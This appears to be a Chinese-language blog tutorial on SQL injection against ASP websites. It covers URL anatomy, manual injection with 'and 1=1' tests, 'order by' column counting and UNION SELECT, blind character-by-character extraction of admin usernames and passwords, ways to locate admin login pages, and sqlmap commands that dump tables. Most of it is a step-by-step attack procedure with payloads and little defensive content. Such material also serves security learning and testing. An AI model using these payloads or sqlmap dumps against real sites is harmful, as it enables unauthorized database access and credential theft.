1.访问网页的流程:
客户端(浏览器,curl)—>发送http请求—>服务端接受http请求——>处理请求,并返回相应(html)-=—–>发送到客户端—–>客户端解析
2.网站URL:
http://192.168.0.106/Production/PRODUCT_DETAIL.asp?id=1513
http:// 是协议名 ftp:// https://
192.168.0.106 是网址或者ip地址
Production 是一个目录
PRODUCT_DETAIL.asp 是一个文件
id 是一个参数
3.什么注入点:
http://www.admintony.top/ 只是一个URL但他不是一个注入
1)有参数传递
2)服务器接受参数
3)参数被带入数据库执行
http://www.admintony.top/index.php?p=1220
4.注入的原理:
对接受过来的参数不进行过滤,直接带入数据库执行,导致恶意代码被执行
and 1=1
5.手工注入
a.判断注入:and 1=1
and 1=2
select * from product where id=1513 and 1=1 —>为真
select * from product where id=1513 and 1=15 —->前为真后为假 为假
b.判断字段长度: order by
order by 23返回错误:
强调:order by判断的字段个数是当前页面所对应的表的字段个数 product 管理页面对应的表是admin
product表的字段个数为22
c.猜列名:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 表名
报错说明表不存在
3和15是显位数字
d.猜列名+爆数据:
报错说列不存在
用户名:
密码:
第二种方法:逐字猜解法
1.为什么要讲逐字猜解法:
有的时候页面无法使用order by 联合查询法无法使用
2.逐字猜解法:
and exists (select * from 表名) 获取表名
and exists (select 列名 from 表名) 获取列名
and (select top 1 len(列名) from 表名)=5 获取指定列名的内容长度
说明admin字段中字符个数为5 password字段中字符个数为16
and (select top 1 asc(mid(列名,位数,1)) from 表)=97 获取第一位内容
第一位是:a 第二位是:d 第三位:m 第四位:i 第五位:n
用户是admin
and (select top 1 asc(mid(列名,位数,1)) from 表)=97 获取第二位内容
找后台:
1.御剑后台扫描器:admin manager login.asp
2.爬虫:burp的功能 wvs
3.谷歌黑客
site admintony.top 后台、管理、admin、login
4.遗留文件:网站的源码、sitemap
5.社工:ea_news.asp ea_pro.asp ea_admin.asp
6.端口:www.admintony.top:999
7.子域名:admin.admintony.top
8.robots.txt
SQLMAP:
判断注入:SQLMAP -u “注入点”
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=1513 AND 8894=8894
查表名:
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=1513 AND 8894=8894
查表名:
SQLMAP -u “注入点” –tables
查列名:
SQLMAP -u “注入点” -T 表名 –columns
爆数据:
SQLMAP -u “注入点” -T 表名 -C 列名 –dump
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容